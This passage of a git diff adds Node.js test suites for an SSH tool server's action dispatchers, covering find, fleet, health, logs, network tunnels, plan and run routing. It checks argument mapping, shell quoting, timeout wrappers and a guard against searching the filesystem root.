+}); + +await test('grep refusing bare root -> structured fail (Plan-5 guard surfaced)', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'x', path: '/' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('refusing to search')); + assert.strictEqual(client.script.length, 0, 'builder threw before exec'); +}); + +await test('grep allow_root threads through to the builder', async () => { + const client = fakeClient([['rg', '']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'x', path: '/', allow_root: true }, + }); + assert.strictEqual(r.isError, false, 'allow_root lets a / search through'); + assert.strictEqual(client.script.length, 1); +}); + +await test('a connection failure -> structured fail, not a throw', async () => { + const deps = { getConnection: async () => { throw new Error('host down'); } }; + const r = await handleSshFind({ + deps, args: { server: 's', action: 'grep', pattern: 'x', path: '/a' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('host down')); +}); + +// --- locate pipeline ----------------------------------------------------- +await test('locate without name -> structured fail, never connects', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'locate', path: '/etc' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('name')); + assert.strictEqual(client.script.length, 0); +}); + +await test('locate builds a timeout-wrapped find -name command', async () => { + const client = fakeClient([['find', '/etc/nginx/nginx.conf\n']]); + await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'locate', name: '*.conf', path: '/etc' }, + }); + assert.strictEqual(client.script.length, 1); + const cmd = client.script[0]; + assert(cmd.startsWith('timeout '), 'timeout wrapper preserved'); + assert(cmd.includes('find '), 'uses find'); + assert(cmd.includes("-name '*.conf'"), 'name glob shell-quoted'); +}); + +await test('locate parses one-path-per-line stdout into a path list', async () => { + const client = fakeClient([['find', + '/etc/nginx/nginx.conf\n/etc/ssl/openssl.conf\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { + server: 's', action: 'locate', name: '*.conf', path: '/etc', format: 'json', + }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.action, 'locate'); + assert.strictEqual(res.data.count, 2); + assert.deepStrictEqual(res.data.paths, + ['/etc/nginx/nginx.conf', '/etc/ssl/openssl.conf']); +}); + +await test('locate renders a path table in the markdown face', async () => { + const client = fakeClient([['find', '/etc/hosts\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'locate', name: 'hosts', path: '/etc' }, + }); + assert.strictEqual(r.isError, false); + assert(r.content[0].text.includes('/etc/hosts'), 'path rendered'); +}); + +await test('locate refusing bare root -> structured fail', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'locate', name: 'x', path: '/' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('refusing to search')); + assert.strictEqual(client.script.length, 0); +}); + +// --- ls pipeline --------------------------------------------------------- +await test('ls without path -> structured fail, never connects', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('path')); + assert.strictEqual(client.script.length, 0); +}); + +await test('ls builds a timeout-wrapped ls -la command', async () => { + const client = fakeClient([['ls -la', 'total 0\n']]); + await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls', path: '/var/log' }, + }); + assert.strictEqual(client.script.length, 1); + const cmd = client.script[0]; + assert(cmd.startsWith('timeout '), 'timeout wrapper preserved'); + assert(cmd.includes("ls -la '/var/log'"), 'long listing, path shell-quoted'); +}); + +await test('ls parses long-format rows into perms/size/type/name entries', async () => { + const client = fakeClient([['ls -la', + 'total 12\n' + + '-rw-r--r-- 1 root root 1024 May 17 10:00 app.conf\n' + + 'drwxr-xr-x 2 root root 4096 May 16 09:30 logs\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'ls', path: '/etc', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.action, 'ls'); + assert.strictEqual(res.data.count, 2); + assert.deepStrictEqual(res.data.entries[0], { + perms: '-rw-r--r--', size: '1024', name: 'app.conf', type: 'file', + }); + assert.strictEqual(res.data.entries[1].type, 'dir'); +}); + +await test('ls renders a perms/size/type/name table in the markdown face', async () => { + const client = fakeClient([['ls -la', + 'total 0\n-rw-r--r-- 1 u g 9 May 17 10:00 notes.txt\n']]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls', path: '/tmp' }, + }); + assert.strictEqual(r.isError, false); + const text = r.content[0].text; + assert(text.includes('notes.txt'), 'name rendered'); + assert(text.includes('perms'), 'header rendered'); +}); + +await test('ls of bare root is allowed (Plan-5: listing / is cheap)', async () => { + const client = fakeClient([['ls -la', 'total 0\n']]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls', path: '/' }, + }); + assert.strictEqual(r.isError, false, 'ls / is not refused'); + assert.strictEqual(client.script.length, 1); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-fleet.js b/tests/test-dispatcher-fleet.js new file mode 100644 index 0000000..edc926b --- /dev/null +++ b/tests/test-dispatcher-fleet.js @@ -0,0 +1,147 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_fleet v4 dispatcher (src/dispatchers/ssh-fleet.js). + * Every action routes to a named handler in the injected handlers object. + * Run: node tests/test-dispatcher-fleet.js + */ +import assert from 'assert'; +import { handleSshFleet } from '../src/dispatchers/ssh-fleet.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (arg) => { calls.push(arg); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getServerConfig: () => ({ host: 'h', port: '22' }) }; + +console.log('[test] Testing ssh_fleet dispatcher\n'); + +await test('servers routes to handlers.servers', async () => { + const servers = spy(); + await handleSshFleet({ deps: DEPS, handlers: { servers }, args: { action: 'servers' } }); + assert.strictEqual(servers.calls.length, 1); +}); + +await test('groups routes to handlers.groups, forwards op + name + members', async () => { + const groups = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { groups }, + args: { action: 'groups', op: 'create', name: 'web', members: ['a', 'b'] }, + }); + assert.strictEqual(groups.calls.length, 1); + assert.strictEqual(groups.calls[0].args.op, 'create'); + assert.strictEqual(groups.calls[0].args.name, 'web'); + assert.deepStrictEqual(groups.calls[0].args.members, ['a', 'b']); +}); + +await test('aliases routes to handlers.aliases', async () => { + const aliases = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { aliases }, + args: { action: 'aliases', op: 'add', name: 'p1', target: 'prod01' }, + }); + assert.strictEqual(aliases.calls.length, 1); + assert.strictEqual(aliases.calls[0].args.op, 'add'); +}); + +await test('command_alias routes to handlers.command_alias, forwards op + alias + command', async () => { + const command_alias = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { command_alias }, + args: { action: 'command_alias', op: 'add', alias: 'gs', command: 'git status' }, + }); + assert.strictEqual(command_alias.calls.length, 1); + assert.strictEqual(command_alias.calls[0].args.op, 'add'); + assert.strictEqual(command_alias.calls[0].args.alias, 'gs'); + assert.strictEqual(command_alias.calls[0].args.command, 'git status'); +}); + +await test('groups forwards description', async () => { + const groups = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { groups }, + args: { action: 'groups', op: 'add', name: 'web', description: 'frontend' }, + }); + assert.strictEqual(groups.calls[0].args.description, 'frontend'); +}); + +await test('history forwards search', async () => { + const history = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { history }, + args: { action: 'history', search: 'git' }, + }); + assert.strictEqual(history.calls[0].args.search, 'git'); +}); + +await test('profiles routes to handlers.profiles', async () => { + const profiles = spy(); + await handleSshFleet({ deps: DEPS, handlers: { profiles }, args: { action: 'profiles', op: 'list' } }); + assert.strictEqual(profiles.calls.length, 1); +}); + +await test('hooks routes to handlers.hooks', async () => { + const hooks = spy(); + await handleSshFleet({ deps: DEPS, handlers: { hooks }, args: { action: 'hooks', op: 'list' } }); + assert.strictEqual(hooks.calls.length, 1); +}); + +await test('history routes to handlers.history, forwards limit', async () => { + const history = spy(); + await handleSshFleet({ deps: DEPS, handlers: { history }, args: { action: 'history', limit: 5 } }); + assert.strictEqual(history.calls.length, 1); + assert.strictEqual(history.calls[0].args.limit, 5); +}); + +await test('connections routes to handlers.connections', async () => { + const connections = spy(); + await handleSshFleet({ deps: DEPS, handlers: { connections }, args: { action: 'connections', op: 'status' } }); + assert.strictEqual(connections.calls.length, 1); +}); + +await test('keys routes to handlers.keys with { getServerConfig, args }', async () => { + const keys = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { keys }, + args: { action: 'keys', op: 'list', server: 's' }, + }); + assert.strictEqual(keys.calls.length, 1); + assert.strictEqual(keys.calls[0].getServerConfig, DEPS.getServerConfig); + // keys handler reads `action`, not `op` -- dispatcher maps op -> action + assert.strictEqual(keys.calls[0].args.action, 'list'); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshFleet({ deps: DEPS, handlers: {}, args: { action: 'nuke' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('nuke')); +}); + +await test('missing action -> structured fail', async () => { + const r = await handleSshFleet({ deps: DEPS, handlers: {}, args: {} }); + assert.strictEqual(r.isError, true); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-health.js b/tests/test-dispatcher-health.js new file mode 100644 index 0000000..eb52484 --- /dev/null +++ b/tests/test-dispatcher-health.js @@ -0,0 +1,125 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_health v4 dispatcher (src/dispatchers/ssh-health.js). + * Run: node tests/test-dispatcher-health.js + */ +import assert from 'assert'; +import { handleSshHealth } from '../src/dispatchers/ssh-health.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_health dispatcher\n'); + +await test('check routes to handlers.healthCheck', async () => { + const healthCheck = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { healthCheck }, + args: { server: 's', action: 'check' }, + }); + assert.strictEqual(healthCheck.calls.length, 1); + assert.strictEqual(healthCheck.calls[0].args.server, 's'); + assert.strictEqual(healthCheck.calls[0].getConnection, DEPS.getConnection); +}); + +await test('watch routes to handlers.monitor, maps watch_type -> type', async () => { + const monitor = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { monitor }, + args: { server: 's', action: 'watch', watch_type: 'cpu' }, + }); + assert.strictEqual(monitor.calls.length, 1); + assert.strictEqual(monitor.calls[0].args.type, 'cpu'); +}); + +await test('procs routes to handlers.processManager, passing proc_action -> action', async () => { + const processManager = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { processManager }, + args: { server: 's', action: 'procs', proc_action: 'list' }, + }); + assert.strictEqual(processManager.calls.length, 1); + assert.strictEqual(processManager.calls[0].args.action, 'list'); +}); + +await test('procs defaults proc_action to "list" when omitted', async () => { + const processManager = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { processManager }, + args: { server: 's', action: 'procs' }, + }); + assert.strictEqual(processManager.calls[0].args.action, 'list'); +}); + +await test('procs kill forwards pid + signal + preview', async () => { + const processManager = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { processManager }, + args: { server: 's', action: 'procs', proc_action: 'kill', pid: 42, signal: 'KILL', preview: true }, + }); + assert.strictEqual(processManager.calls[0].args.pid, 42); + assert.strictEqual(processManager.calls[0].args.signal, 'KILL'); + assert.strictEqual(processManager.calls[0].args.preview, true); +}); + +await test('alerts routes to handlers.alertSetup, maps alert_action -> action', async () => { + const alertSetup = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { alertSetup }, + args: { server: 's', action: 'alerts', alert_action: 'check' }, + }); + assert.strictEqual(alertSetup.calls.length, 1); + assert.strictEqual(alertSetup.calls[0].args.action, 'check'); +}); + +await test('check missing server -> structured fail', async () => { + const r = await handleSshHealth({ + deps: DEPS, handlers: { healthCheck: spy() }, + args: { action: 'check' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +await test('alerts missing alert_action -> structured fail', async () => { + const r = await handleSshHealth({ + deps: DEPS, handlers: { alertSetup: spy() }, + args: { server: 's', action: 'alerts' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('alert_action')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshHealth({ deps: DEPS, handlers: {}, args: { server: 's', action: 'xray' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('xray')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-logs.js b/tests/test-dispatcher-logs.js new file mode 100644 index 0000000..be7cb00 --- /dev/null +++ b/tests/test-dispatcher-logs.js @@ -0,0 +1,121 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_logs v4 dispatcher (src/dispatchers/ssh-logs.js). + * Run: node tests/test-dispatcher-logs.js + */ +import assert from 'assert'; +import { handleSshLogs } from '../src/dispatchers/ssh-logs.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_logs dispatcher\n'); + +await test('tail routes to handlers.tail with { getConnection, args }', async () => { + const tail = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tail }, + args: { server: 's', action: 'tail', file: '/var/log/x', lines: 30 }, + }); + assert.strictEqual(tail.calls.length, 1); + assert.strictEqual(tail.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(tail.calls[0].args.file, '/var/log/x'); + assert.strictEqual(tail.calls[0].args.lines, 30); +}); + +await test('follow-start routes to handlers.tailStart', async () => { + const tailStart = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tailStart }, + args: { server: 's', action: 'follow-start', file: '/var/log/x' }, + }); + assert.strictEqual(tailStart.calls.length, 1); + assert.strictEqual(tailStart.calls[0].args.file, '/var/log/x'); +}); + +await test('follow-read routes to handlers.tailRead with { args } only', async () => { + const tailRead = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tailRead }, + args: { action: 'follow-read', session_id: 'sess-1', since_offset: 12 }, + }); + assert.strictEqual(tailRead.calls.length, 1); + assert.deepStrictEqual(Object.keys(tailRead.calls[0]), ['args']); + assert.strictEqual(tailRead.calls[0].args.session_id, 'sess-1'); + assert.strictEqual(tailRead.calls[0].args.since_offset, 12); +}); + +await test('follow-stop routes to handlers.tailStop with { args } only', async () => { + const tailStop = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tailStop }, + args: { action: 'follow-stop', session_id: 'sess-1' }, + }); + assert.strictEqual(tailStop.calls.length, 1); + assert.deepStrictEqual(Object.keys(tailStop.calls[0]), ['args']); +}); + +await test('journal routes to handlers.journal', async () => { + const journal = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { journal }, + args: { server: 's', action: 'journal', unit: 'sshd.service', since: '1 hour ago' }, + }); + assert.strictEqual(journal.calls.length, 1); + assert.strictEqual(journal.calls[0].args.unit, 'sshd.service'); + assert.strictEqual(journal.calls[0].args.since, '1 hour ago'); +}); + +await test('tail missing file -> structured fail, handler not called', async () => { + const tail = spy(); + const r = await handleSshLogs({ + deps: DEPS, handlers: { tail }, + args: { server: 's', action: 'tail' }, + }); + assert.strictEqual(tail.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('file')); +}); + +await test('follow-read missing session_id -> structured fail', async () => { + const r = await handleSshLogs({ + deps: DEPS, handlers: { tailRead: spy() }, + args: { action: 'follow-read' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('session_id')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshLogs({ deps: DEPS, handlers: {}, args: { action: 'sniff' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('sniff')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-net.js b/tests/test-dispatcher-net.js new file mode 100644 index 0000000..3be9f31 --- /dev/null +++ b/tests/test-dispatcher-net.js @@ -0,0 +1,118 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_net v4 dispatcher (src/dispatchers/ssh-net.js). + * Run: node tests/test-dispatcher-net.js + */ +import assert from 'assert'; +import { handleSshNet } from '../src/dispatchers/ssh-net.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_net dispatcher\n'); + +await test('tunnel-open routes to handlers.tunnelCreate with { getConnection, args }', async () => { + const tunnelCreate = spy(); + await handleSshNet({ + deps: DEPS, handlers: { tunnelCreate }, + args: { server: 's', action: 'tunnel-open', tunnel_type: 'local', local_port: 8080, remote_host: 'db', remote_port: 5432 }, + }); + assert.strictEqual(tunnelCreate.calls.length, 1); + assert.strictEqual(tunnelCreate.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(tunnelCreate.calls[0].args.type, 'local'); + assert.strictEqual(tunnelCreate.calls[0].args.local_port, 8080); +}); + +await test('tunnel-list routes to handlers.tunnelList with { args } only', async () => { + const tunnelList = spy(); + await handleSshNet({ + deps: DEPS, handlers: { tunnelList }, + args: { action: 'tunnel-list', server: 's' }, + }); + assert.strictEqual(tunnelList.calls.length, 1); + assert.deepStrictEqual(Object.keys(tunnelList.calls[0]), ['args']); +}); + +await test('tunnel-close routes to handlers.tunnelClose, maps tunnel_id', async () => { + const tunnelClose = spy(); + await handleSshNet({ + deps: DEPS, handlers: { tunnelClose }, + args: { action: 'tunnel-close', tunnel_id: 'tun-1' }, + }); + assert.strictEqual(tunnelClose.calls.length, 1); + assert.strictEqual(tunnelClose.calls[0].args.tunnel_id, 'tun-1'); +}); + +await test('port-test routes to handlers.portTest with { getConnection, args }', async () => { + const portTest = spy(); + await handleSshNet({ + deps: DEPS, handlers: { portTest }, + args: { server: 's', action: 'port-test', target_host: 'db', target_port: 5432 }, + }); + assert.strictEqual(portTest.calls.length, 1); + assert.strictEqual(portTest.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(portTest.calls[0].args.target_host, 'db'); +}); + +await test('tunnel-open missing tunnel_type -> structured fail, handler not called', async () => { + const tunnelCreate = spy(); + const r = await handleSshNet({ + deps: DEPS, handlers: { tunnelCreate }, + args: { server: 's', action: 'tunnel-open' }, + }); + assert.strictEqual(tunnelCreate.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('tunnel_type')); +}); + +await test('tunnel-close missing tunnel_id -> structured fail', async () => { + const r = await handleSshNet({ + deps: DEPS, handlers: { tunnelClose: spy() }, + args: { action: 'tunnel-close' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('tunnel_id')); +}); + +await test('port-test missing target_host -> structured fail', async () => { + const r = await handleSshNet({ + deps: DEPS, handlers: { portTest: spy() }, + args: { server: 's', action: 'port-test' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('target_host')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshNet({ deps: DEPS, handlers: {}, args: { action: 'traceroute' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('traceroute')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-plan.js b/tests/test-dispatcher-plan.js new file mode 100644 index 0000000..9d147dd --- /dev/null +++ b/tests/test-dispatcher-plan.js @@ -0,0 +1,141 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_plan v4 dispatcher (src/dispatchers/ssh-plan.js). + * Confirms the dispatch table threaded into handleSshPlan is keyed by the + * plan-step action enum, and that run/approve map onto plan modes. + * Run: node tests/test-dispatcher-plan.js + */ +import assert from 'assert'; +import { handleSshPlanTool, buildPlanDispatch } from '../src/dispatchers/ssh-plan.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => ({}), + resolveGroup: () => null, +}; + +console.log('[test] Testing ssh_plan dispatcher\n'); + +// --- buildPlanDispatch --------------------------------------------------- +await test('buildPlanDispatch is keyed by the plan-step action enum', () => { + const d = buildPlanDispatch(DEPS, { + execute: async () => ({}), executeSudo: async () => ({}), + upload: async () => ({}), download: async () => ({}), + edit: async () => ({}), systemctl: async () => ({}), + backupCreate: async () => ({}), healthCheck: async () => ({}), + }); + // plan-tools invokeStep reads dispatch[step.action]; step.action uses these: + for (const key of ['exec', 'exec_sudo', 'upload', 'download', 'edit', + 'systemctl', 'backup', 'health_check']) { + assert.strictEqual(typeof d[key], 'function', `dispatch has "${key}"`); + } + assert.strictEqual(d.ssh_execute, undefined, + 'dispatch is NOT keyed by tool names'); +}); + +await test('dispatch "exec" entry wraps the execute handler with { getConnection, args }', async () => { + let seenCtx = null; + const execute = async (ctx) => { seenCtx = ctx; return { content: [], isError: false }; }; + const d = buildPlanDispatch(DEPS, { execute }); + await d.exec({ args: { server: 's', command: 'ls' } }); + assert.strictEqual(seenCtx.getConnection, DEPS.getConnection); + assert.strictEqual(seenCtx.args.command, 'ls'); +}); + +await test('dispatch "exec_sudo" entry passes getServerConfig through', async () => { + let seenCtx = null; + const executeSudo = async (ctx) => { seenCtx = ctx; return { content: [], isError: false }; }; + const d = buildPlanDispatch(DEPS, { executeSudo }); + await d.exec_sudo({ args: { server: 's', command: 'id' } }); + assert.strictEqual(seenCtx.getServerConfig, DEPS.getServerConfig); +}); + +// --- handleSshPlanTool --------------------------------------------------- +function fakePlan() { + // stand-in for handleSshPlan: echoes the args it received. + return async ({ dispatch, args }) => ({ + content: [{ type: 'text', text: JSON.stringify({ mode: args.mode, hasToken: !!args.approve_token, dispatchKeys: Object.keys(dispatch) }) }], + isError: false, + }); +} + +await test('run action invokes plan with mode "run"', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'run', steps: [{ action: 'exec', command: 'ls' }] }, + }); + const body = JSON.parse(r.content[0].text); + assert.strictEqual(body.mode, 'run'); +}); + +await test('approve action invokes plan with mode "run" and forwards approve_token', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'approve', approve_token: 'yes', steps: [{ action: 'exec', command: 'ls' }] }, + }); + const body = JSON.parse(r.content[0].text); + assert.strictEqual(body.mode, 'run'); + assert.strictEqual(body.hasToken, true); +}); + +await test('run action threads a step-enum-keyed dispatch into the plan', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: { execute: async () => ({}) }, planFn: fakePlan(), + args: { action: 'run', steps: [] }, + }); + const body = JSON.parse(r.content[0].text); + assert(body.dispatchKeys.includes('exec'), 'dispatch keyed by step enum'); + assert(!body.dispatchKeys.includes('ssh_execute'), 'not keyed by tool name'); +}); + +await test('run missing steps -> structured fail, plan not invoked', async () => { + let planCalled = false; + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, + planFn: async () => { planCalled = true; return {}; }, + args: { action: 'run' }, + }); + assert.strictEqual(planCalled, false); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('steps')); +}); + +await test('approve missing approve_token -> structured fail', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'approve', steps: [{ action: 'exec', command: 'ls' }] }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('approve_token')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'simulate', steps: [] }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('simulate')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-run.js b/tests/test-dispatcher-run.js new file mode 100644 index 0000000..28b2863 --- /dev/null +++ b/tests/test-dispatcher-run.js @@ -0,0 +1,493 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_run v4 dispatcher (src/dispatchers/ssh-run.js). + * Confirms each action lands on the right handler with the right context + * object and arg mapping. Handlers are replaced by spies via the deps object. + * Run: node tests/test-dispatcher-run.js + */ +import assert from 'assert'; +import { handleSshRun } from '../src/dispatchers/ssh-run.js'; +import { handleSshExecuteGroup } from '../src/tools/exec-tools.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +// A spy that records the single ctx object it was called with. +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => ({ default_dir: '/srv' }), + resolveGroup: (g) => ({ name: g, servers: ['a', 'b'] }), +}; + +console.log('[test] Testing ssh_run dispatcher\n'); + +// --- routing ------------------------------------------------------------- +await test('exec routes to handlers.execute with { getConnection, args }', async () => { + const execute = spy(); + await handleSshRun({ + deps: DEPS, + handlers: { execute }, + args: { server: 's', action: 'exec', command: 'ls' }, + }); + assert.strictEqual(execute.calls.length, 1); + const ctx = execute.calls[0]; + assert.strictEqual(ctx.getConnection, DEPS.getConnection); + assert.strictEqual(ctx.args.command, 'ls'); + assert.strictEqual(ctx.args.server, 's'); + assert.strictEqual(ctx.resolveGroup, undefined, 'exec ctx carries no resolveGroup'); +}); + +await test('exec forwards timeout to the handler as timeout', async () => { + const execute = spy(); + await handleSshRun({ + deps: DEPS, handlers: { execute }, + args: { server: 's', action: 'exec', command: 'ls', timeout: 9000 }, + }); + assert.strictEqual(execute.calls[0].args.timeout, 9000); +}); + +await test('exec expands a command alias before passing to the handler', async () => { + const execute = spy(); + // deps.expandCommandAlias override seam: "gs" alias -> "git status -sb" + await handleSshRun({ + deps: { ...DEPS, expandCommandAlias: (c) => (c === 'gs' ? 'git status -sb' : c) }, + handlers: { execute }, + args: { server: 's', action: 'exec', command: 'gs' }, + }); + assert.strictEqual(execute.calls[0].args.command, 'git status -sb'); +}); + +await test('sudo expands a command alias before passing to the handler', async () => { + const executeSudo = spy(); + await handleSshRun({ + deps: { ...DEPS, expandCommandAlias: (c) => (c === 'rs' ? 'systemctl restart nginx' : c) }, + handlers: { executeSudo }, + args: { server: 's', action: 'sudo', command: 'rs' }, + }); + assert.strictEqual(executeSudo.calls[0].args.command, 'systemctl restart nginx'); +}); + +await test('sudo routes to handlers.executeSudo with getServerConfig in ctx', async () => { + const executeSudo = spy(); + await handleSshRun({ + deps: DEPS, handlers: { executeSudo }, + args: { server: 's', action: 'sudo', command: 'systemctl restart nginx' }, + }); + assert.strictEqual(executeSudo.calls.length, 1); + assert.strictEqual(executeSudo.calls[0].getServerConfig, DEPS.getServerConfig); +}); + +await test('sudo maps sudo_password -> password and forwards timeout', async () => { + const executeSudo = spy(); + await handleSshRun({ + deps: DEPS, handlers: { executeSudo }, + args: { server: 's', action: 'sudo', command: 'id', sudo_password: 'pw', timeout: 5000 }, + }); + assert.strictEqual(executeSudo.calls[0].args.password, 'pw'); + assert.strictEqual(executeSudo.calls[0].args.timeout, 5000); +}); + +await test('fleet routes to handlers.executeGroup with resolveGroup in ctx', async () => { + const executeGroup = spy(); + await handleSshRun({ + deps: DEPS, handlers: { executeGroup }, + args: { action: 'fleet', group: 'web', command: 'uptime' }, + }); + 